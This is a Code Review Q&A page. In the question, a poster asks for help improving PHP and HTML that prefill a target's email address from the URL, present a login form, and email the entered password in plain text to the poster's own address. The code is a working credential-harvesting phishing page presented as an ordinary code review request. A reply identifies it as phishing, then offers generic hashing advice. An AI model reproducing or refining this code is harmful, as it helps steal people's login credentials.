-2
\$\begingroup\$

My code works well, but i still don't think it is well written. Can someone help to improve the code so as to get rid of vulnerabilities.

My php code:

<?php
$email = filter_var($_GET['email'], FILTER_VALIDATE_EMAIL);
if ($email === false) {
    // Not a valid email address! Handle this invalid input here.
}
if (isset($_POST["submit"])) {

$password = $_POST['password'];
$to = "feedback@mydomain.com";
$subject = 'Link Data';
$message = "Email Address: " . $email . "\n" .
$message = "Password: " . $password . "\n" .
$headers = "From: webmaster@mydomain.com\r\n";
$success = mail($to, $subject, $message, $headers);
}   
?>

The form:

<?php if (isset($success) && $success) { ?>
      Yor form was successfully sent.
    <?php } ?>

<div class="box-login1">
<form method="post" action="<?PHP echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?email=<?php echo htmlspecialchars($email) ?>" accept-charset="UTF-8">
<input name="email" type="text" id="email" value="<?php echo htmlspecialchars($email) ?>" maxlength="64" readonly="readonly" required/>
<input type="password" name="password" id="password" required/>
<input type="submit" name="submit" id="submit" value="submit"/> 
</form>
\$\endgroup\$
  • \$\begingroup\$ Welcome to Code Review. As per the help center, on this site, we expect you to post code that already works correctly as intended, to the best of your knowledge. If your code has a known bug, then asking for us to fix it would be off-topic. On the other hand, if you believe that the code is already working correctly, then please retitle the question to neutrally state what the code accomplishes, rather than your main concern about the code, as per the How to Ask guidelines. \$\endgroup\$ – 200_success May 25 '18 at 17:43
  • \$\begingroup\$ Why are you using htmlspecialchars in your form? I believe it's useful when you save user input to the db and want to display it later, so any html gets escaped, it makes no impact on other users. Since user is one and the same, it's kind of redundant (in all places). \$\endgroup\$ – brgs Jun 18 '18 at 11:11
3
\$\begingroup\$

Your phishing form looks OK, user will try to login using his username and password and his logins will be sent directly to someone else.

Being serious you should validate password depending on what chars you allow or if you want to do it with sanitize fitlers then use 'FILTER_SANITIZE_STRING'. But you should just hash password and never send it or save it in plain text.

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.